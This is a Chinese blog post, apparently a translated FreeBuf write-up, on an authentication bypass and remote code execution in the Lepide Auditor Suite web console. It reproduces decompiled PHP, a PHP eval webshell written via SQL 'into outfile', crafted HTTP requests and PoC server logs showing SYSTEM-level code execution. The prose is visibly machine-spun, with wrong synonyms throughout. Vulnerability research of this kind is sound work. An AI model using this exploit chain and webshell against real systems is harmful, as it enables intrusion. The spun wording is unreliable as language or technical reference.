作者:InsSeo 发布时间:2024-12-30 03:20 分类:谷歌词库 浏览:177
前段时间,我们留意 到,一些安全研究者正对杀毒软件等安全产物 的紧张 弊端 举行 了相干 研究,而这些安全产物 大概 对企业和桌面用户造成粉碎 性影响。看看Google Project Zero对Kaspersky、Comodo、Avast等多种杀毒软件高危弊端 披露,也够让我们震动 的了。
关键的题目 是,如今 人们广泛 以为 安全产物 本身 就是安全可靠的,而着实 ,安全产物 本身 引入的攻击面正渐渐 增长 。乃至 有一些安全专家以为 ,大多数杀毒软件企业技能 已经掉队 于那些具备沙盒防护、弊端 缓解和成熟弊端 众测项目标 互联网大公司。
软件安装
该软件套装为IT安全管理和审计之用,解压后,共包罗 四个安装组件,我们从Lepide Auditor Web Console开始安装:
安装非常简单 ,连合 WAMP可以访问到一个web接口,登录端要求客户端IP、用户名和暗码 。
审计开始
待程序和服务启动之后,利用 Process Explorer查察 Lepide相干 进程 :
观察发现,其web控制端以NT AUTHORITYSYSTEM权限7778端口运行,具体 文件位置于C:LepideAuditorSuiteWebConsoleapache。查察 该目次 发现,Lepide是PHP架构。
认证绕过
从简单 的开始,我们决定从认证机制开始研究:
很快,在burpsuite资助 下,我们发现认证进程 在获取服务端相应 时必要 耗费 稍长时间(约莫 为6秒),别的 ,程序在认证过程中还必要 额外的服务端参数作为输入,这有点不正常。后经发现,原来这是Apache应用在实行 DNS查询哀求 测试。
在没有效 户登录账户和不具备太多登录功能的条件 下,我们直接对其PHP源码举行 了审计。起首 来看看index.php页面的登录功能:
看到这里,我们以为 ,这种肴杂 技能 不如ionCube或Zend Guard的JIT肴杂 技能 好。破解了加密机制后,我们发现了以下代码:
?php
session_start();
if((isset($_SESSION["username"]))($_SESSION["username"]!=""))
{
//header("location: data.php");
//exit();
}
?
?phpinclude_once("config.php");?
?php
$error='';
if(isset($_POST["submit"]))
{
$servername=isset($_POST["servername"])?mysql_real_escape_string($_POST["servername"]):"";
$username=isset($_POST["username"])?mysql_real_escape_string($_POST["username"]):"";
$password=isset($_POST["password"])?mysql_real_escape_string($_POST["password"]):"";
if($servername==""){
$error="Please Enter Server Name";
}
elseif($username==""){
$error="Please Enter Username";
}
//elseif (strpos($username,'@')==false) {
//$error= 'Please Enter Valid Username';
//}
elseif($username==""){
$error="Please Enter Password";
}
if($error==""){
$port=1056;
$sock=connect($servername,$port);
if($sock){
$_SESSION["socket"]=$sock;
$data=601;//authenticatelogin
if(sendtags($_SESSION["socket"],$data))
{
if(sendstringtoserver($_SESSION["socket"],$username))
{
if(sendstringtoserver($_SESSION["socket"],$password))
{
$recv=getstringfromserver($_SESSION["socket"]);
if($recv=='_SUCCESS_')
{
$_SESSION["username"]=$username;
$_SESSION["ip"]=$servername;
$_SESSION["password"]=$password;
$_SESSION["sessionno"]=rand(10,100);
session_write_close();
header("location: reports");
exit();
}
细致 查察 ,此中 包罗 config.php,其功能的第31行是用户毗连 服务端所必要 输入的端标语 和服务名称函数connect()。如今 我们来看看其在config.php中的具体 功能:
functionconnect($ip,$port)
{
if(!extension_loaded('sockets')){
die('The sockets extension is not loaded.');
}
if(!($sock=socket_create(AF_INET,SOCK_STREAM,0)))
{
$errorcode=socket_last_error();
$errormsg=socket_strerror($errorcode);
die("Couldn't create socket: [$errorcode] $errormsgn");
}
if(!socket_connect($sock,$ip,$port))
{
$sock="";
$error="could not connect";
return$sock;
}
else{
return$sock;
}
return$sock;
}
代码对用户输入的服务端参数创建了一个原始套接字毗连 ,再回到index.php文件第37和39行,可以看到用户输入用户名暗码 举行 身份认证,第43行,假如 输入有效 则认证乐成 。站在攻击者角度来看,只要能控礼服 务端认证参数,就能绕过认证过程。
长途 代码实行 实行
如今 ,我们来研究源码中毕竟 什么输入是认证服务端可信的。颠末 一番折腾后发现,genratereports.php文件有点意思,从名称上看,它好像 是用来天生 某种陈诉 的。
$gid=isset($_GET["grid_id"])?$_GET["grid_id"]:'';
if(($id!=0)($daterange!="")($path!="")($gid==""))
{
$port=1056;
$sock=login($ip,$port,$username,$password);
if($sock)
{
$data=604;
if(sendtags($sock,$data))
{
if(sendstringtoserver($sock,$id))
{
if(sendstringtoserver($sock,$path))
{
$columnamestr=getstringfromserver($sock);
$columname=genratecolumnname($columnamestr);
session_start();
$_SESSION["columname"]=$columname;
session_write_close();
}
}
}
if($columname)
{
$data=603;
if(sendtags($sock,$data))
{
if(sendstringtoserver($sock,$daterange))
{
if(sendstringtoserver($sock,$id))
{
if(sendstringtoserver($sock,$path))
{
$filename=getfilefromremote($sock);
if($filename)
{
$restore_file="temp/".$filename.".sql";
if(createdb($restore_file,$username,$sessionnumber))
从代码层面上看来,包罗 GET参数grid_id的变量$gid在设置过程中存在题目 ,之后,结实用 户名暗码 ,login()被调用。
login()函数实际 上与config.php中的认证会话本质上是一样的:
functionlogin($ip,$port,$username,$password)
{
$sock=connect ($ip,$port);
if($sock){
$data=601;//authenticate login
if(sendtags($sock,$data))
{
if(sendstringtoserver($sock,$username))
{
if(sendstringtoserver($sock,$password))
{
$recv=getstringfromserver($sock);
if($recv=='_SUCCESS_')
{
return$sock;
/* $_SESSION["username"]=$username;
$_SESSION["ip"]=$servername;
header("location: data.php");
exit(); */
}
else{
disconnect($sock);
destroysession();
//returnfalse;
}
}
}
}
}
}
差别 之处在于,它不需设置任何会话变量,只是简单 的返回了套接字句柄。回到genratereports.php来看,在登录返回和套接字句柄验证之后,一些tag和string被发到受控服务端,之后,一个column name再从服务端发出。该column name是履历 证,终极 将在34行调用getfilefromremote()。我们决定再对getfilefromremote()举行 一些深入分析,它具体 功能代码位于config.php中:
functiongetfilefromremote($sock)
{
$uniqid=uniqid();
$tag=readtag($sock);
if($tag[1]==5)
{
$msg="";
$buf=socket_read($sock,4);
$rec_Data=unpack("N",$buf);
if($rec_Data[1]0)//size
{
if($rec_Data[1]0)
{
$data=socket_read($sock,$size);
$size=$size-strlen($data);
$data_rec.=$data;
}
}catch (Exception $e){
echo'Caught exception: ',$e-getMessage(),"n";
}
$data=iconv('UTF-16LE','UTF-8',$data_rec);
$fp=fopen("temp/".$uniqid.".sql","wb");
fwrite($fp,$data);
fclose($fp);
$ack=2;
if(socket_send($sock,pack('N*',$ack),strlen(pack('N*',$ack)),0))
{
if($rec_ack=readtag($sock))
{
if($rec_ack[1]==2)
{
//socket_close($sock);
return$uniqid;
}
}
}
}
该函数从受控服务端读取数据并把它们复制到一个由第22-23行uniqid()方法天生 的临时 文件中。终极 ,代码将向程序返回创建的uniqid值。
返回genratereports.php,可以发现$restore_file变量被转达 到createdb()函数中,且其与getfilefromremote()创建的文件映射路径雷同 。如今 ,我们再到config.php中研究一下createdb():
functioncreatedb($dbfile,$Dusername,$sessionnumber)
{
$dbcreate=false;
ini_set('max_execution_time',300);//300seconds = 5minutes
$server_name="localhost";
$username="root";
$password="";
$dbname=substr(preg_replace("/[^a-z]+/","",$Dusername),0,12);
$dbname=$dbname.$sessionnumber;
$link=mysql_connect($server_name,$username,$password);
if($link){
$user=substr(preg_replace("/[^a-z]+/","",$Dusername),0,12);
//$user=$user.sessionno
$host="localhost";
$pass="123456";
$userQ="DROP USER ".$user."@localhost";
$createQ="CREATE USER '{$user}'@'{$host}' IDENTIFIED BY '{$pass}'";
$grantQ="GRANT ALTER, ALTER ROUTINE, CREATE, CREATE ROUTINE, CREATE TEMPORARY TABLES, CREATE USER, CREATE VIEW, DELETE, DROP, EVENT, EXECUTE, FILE, INDEX, INSERT, LOCK TABLES, PROCESS, REFERENCES, RELOAD, REPLICATION CLIENT, REPLICATION SLAVE, SELECT, SHOW DATABASES, SHOW VIEW, SHUTDOWN, SUPER, TRIGGER, UPDATE ON *.* TO '{$user}'@'{$host}' WITH GRANT OPTION";
mysql_query($userQ);
if(mysql_query($createQ)){
if(mysql_query($grantQ)){
$dropdbQ='DROP DATABASE IF EXISTS '.$dbname;
mysql_query($dropdbQ,$link);
$sql='CREATE DATABASE IF NOT EXISTS '.$dbname;
mysql_query($sql,$link);
$cmd="mysql -h {$host}-u {$user}-p{$pass}{$dbname} $dbfile";
exec($cmd,$output,$return);
createdb函数试图创建一个root权限数据库账户,并把$restore_file变量作为第30和31行转达 到exec()中的下令 参数。
外貌 上来看,这是一个下令 实行 弊端 ,但是,由于 我们不能完全或部分 直接控制其文件名(仅只是内容),并不能有效 实行 。但细致 想想,我们可以控制其向MySQL客户端的输入啊。基于这点,我们在实际 弊端 利用 阶段来做点手脚,向数据库中实行 一句话木马写入,弊端 利用 PoC(https://www.exploit-db.com/exploits/42297/)。
# exploit!
ifsend_file(conn,"select'?php eval($_GET[e]); ?'intooutfile'../../www/offsec.php';"):
弊端 利用
很简单 ,我们要做的就是创建一个与目标 体系 举行 交换 互动的套接字服务,并提供该服务所需的输入条件。
我们先启动一个PoC利用 脚本设置为恶意服务端,等待 客户端毗连 :
root@kali:~# ./server-poc.py
Lepide Auditor Suite createdb()Web Console Database Injection Remote Code Execution
by mr_me 2016
(+)waiting forthe target...
然后我们设置客户端172.16.175.1向Lepide Auditor登录页面和genratereport.php文件分别发起登录哀求 :
root@kali:~# ./client-poc.py 172.16.175.137 172.16.175.1
(+)sending auth bypass
(+)sending code execution request
起首 ,以servername=172.16.175.1username=testpassword=hacked向Lepide Auditor登录端发起哀求 :
POST /index.php HTTP/1.1
Host: 172.16.175.137:7778
Content-Type: application/x-www-form-urlencoded
Content-Length: 61
servername=172.16.175.1username=testpassword=hackedsubmit=
之后,得到了一个包罗 认证PHPSESSID的相应 ,在此过程中要确保不会发生重定向或PHPSESSID值被粉碎 :
HTTP/1.1 302 Found
Date: Sun, 22 May 2016 19:00:20 GMT
Server: Apache/2.4.12 (Win32) PHP/5.4.10
X-Powered-By: PHP/5.4.10
Set-Cookie: PHPSESSID=lkhf0n8epc481oeq4saaesgqe3; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
location: reports
Content-Length: 8
Content-Type: text/html
第二个哀求 触发了exec()调用上述PHPSESSID:
GET /genratereports.php?path=loldaterange=1@9id=6HTTP/1.1
Host: 172.16.175.137:7778
Cookie: PHPSESSID=lkhf0n8epc481oeq4saaesgqe3
终极 ,全部 功能代码完成后,乐成 实现了NT AUTHORITYSYSTEM权限的长途 代码实行 :
root@kali:~# ./server-poc.py
Lepide Auditor Suite createdb()Web Console Database Injection Remote Code Execution
by mr_me 2016
(+)waiting forthe target...
(+)connected by ('172.16.175.137', 50541)
(+)got a loginrequest
(+)got a username: test
(+)got a password: hacked
(+)sending SUCCESS packet
(+)send string successful
(+)connected by ('172.16.175.137', 50542)
(+)got a loginrequest
(+)got a username: test
(+)got a password: hacked
(+)sending SUCCESS packet
(+)send string successful
(+)got a column request
(+)got http request id: 6
(+)got http request path: lol
(+)send string successful
(+)got a filename request
(+)got http request daterange: 1@9 - 23:59:59
(+)got http request id: 6
(+)got http request path: lol
(+)successfully sent tag
(+)successfully sent file!
(+)filesent successfully
(+)done: http://172.16.175.137:7778/offsec.php?e=phpinfo();
总结
当前,出现较多的是SQL或PHP代码注入的输入性验证弊端 ,但是当受信客户端向服务端发起认证哀求 的过程中同样会存在一些粉碎 性弊端 ,而且,某些安全软件着实 也并不安全。
*文:clouds编译,来自FreeBuf
炼石信息安全培训班
专注信息安全人才作育
搭建企业人才供需桥梁
咨询QQ群:495066536
标签词分析
30条